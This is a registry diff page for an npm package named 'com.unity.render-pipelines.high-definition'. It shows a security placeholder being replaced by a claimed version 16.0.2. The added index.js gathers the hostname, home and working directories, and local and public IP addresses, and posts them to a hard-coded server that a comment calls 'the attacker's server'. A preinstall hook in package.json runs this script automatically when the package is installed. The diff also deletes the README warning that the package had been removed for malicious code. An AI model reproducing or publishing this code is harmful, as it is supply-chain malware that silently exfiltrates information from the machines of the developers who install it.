com.unity.render-pipelines.high-definition 0.0.1-security → 16.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of com.unity.render-pipelines.high-definition might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +65 -0
  2. package/package.json +32 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,65 @@
1
+ const os = require('os');
2
+ const axios = require('axios');
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+
6
+ // Function to get the public IP of the victim
7
+ async function getPublicIP() {
8
+ try {
9
+ const response = await axios.get('https://ipinfo.io/json');
10
+ return response.data.ip || 'Unknown';
11
+ } catch (error) {
12
+ console.error('Error fetching public IP:', error);
13
+ return 'Unknown';
14
+ }
15
+ }
16
+
17
+ // Function to send collected information to the attacker's server
18
+ async function pingBack(data) {
19
+ try {
20
+ await axios.post('http://10.0.2.15:8080/', data);
21
+ console.log('Pingback sent successfully');
22
+ } catch (error) {
23
+ console.error('Error sending pingback:', error);
24
+ }
25
+ }
26
+
27
+ // Function to get network info
28
+ function getNetworkInfo() {
29
+ const interfaces = os.networkInterfaces();
30
+ let ipAddress = 'Unknown';
31
+
32
+ // Getting local IP address (IPv4 and non-internal)
33
+ for (const iface of Object.values(interfaces)) {
34
+ for (const details of iface) {
35
+ if (details.family === 'IPv4' && !details.internal) {
36
+ ipAddress = details.address;
37
+ break;
38
+ }
39
+ }
40
+ }
41
+
42
+ return {
43
+ publicIP: 'Unknown', // Placeholder for public IP
44
+ hostname: os.hostname(),
45
+ homeDirectory: os.homedir(),
46
+ currentDirectory: process.cwd(),
47
+ localIP: ipAddress
48
+ };
49
+ }
50
+
51
+ // Main function to collect data
52
+ async function collectData() {
53
+ const networkInfo = getNetworkInfo();
54
+ const publicIP = await getPublicIP(); // Get public IP
55
+ const data = {
56
+ ...networkInfo,
57
+ publicIP, // Add public IP to the data
58
+ };
59
+
60
+ // Send the collected data back
61
+ pingBack(data);
62
+ }
63
+
64
+ // Run the data collection and sending process
65
+ collectData();
package/package.json CHANGED
@@ -1,6 +1,35 @@
1
1
  {
2
2
  "name": "com.unity.render-pipelines.high-definition",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "16.0.2",
4
+ "description": "Package Claimed By JPD",
5
+ "license": "ISC",
6
+ "author": "JPD",
7
+ "type": "commonjs",
8
+ "main": "index.js",
9
+ "scripts": {
10
+ "preinstall": "node index.js",
11
+ "test": "echo \"Error: no test specified\" && exit 1"
12
+ },
13
+ "keywords": [
14
+ "rce",
15
+ "security",
16
+ "exploit",
17
+ "vulnerability"
18
+ ],
19
+ "repository": {
20
+ "type": "git",
21
+ "url": "git+https://github.com/JPD-12/com.unity.render-pipelines.high-definition.git"
22
+ },
23
+ "bugs": {
24
+ "url": "https://github.com/JPD-12/com.unity.render-pipelines.high-definition/issues"
25
+ },
26
+ "homepage": "https://github.com/JPD-12/com.unity.render-pipelines.high-definition#readme",
27
+ "engines": {
28
+ "node": ">=14.0.0"
29
+ },
30
+ "dependencies": {
31
+ "axios": "^1.7.9",
32
+ "cmpuiforoath": "^1.1.1",
33
+ "com.unity.sentis": "^2.1.0"
34
+ }
6
35
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=com.unity.render-pipelines.high-definition for more information.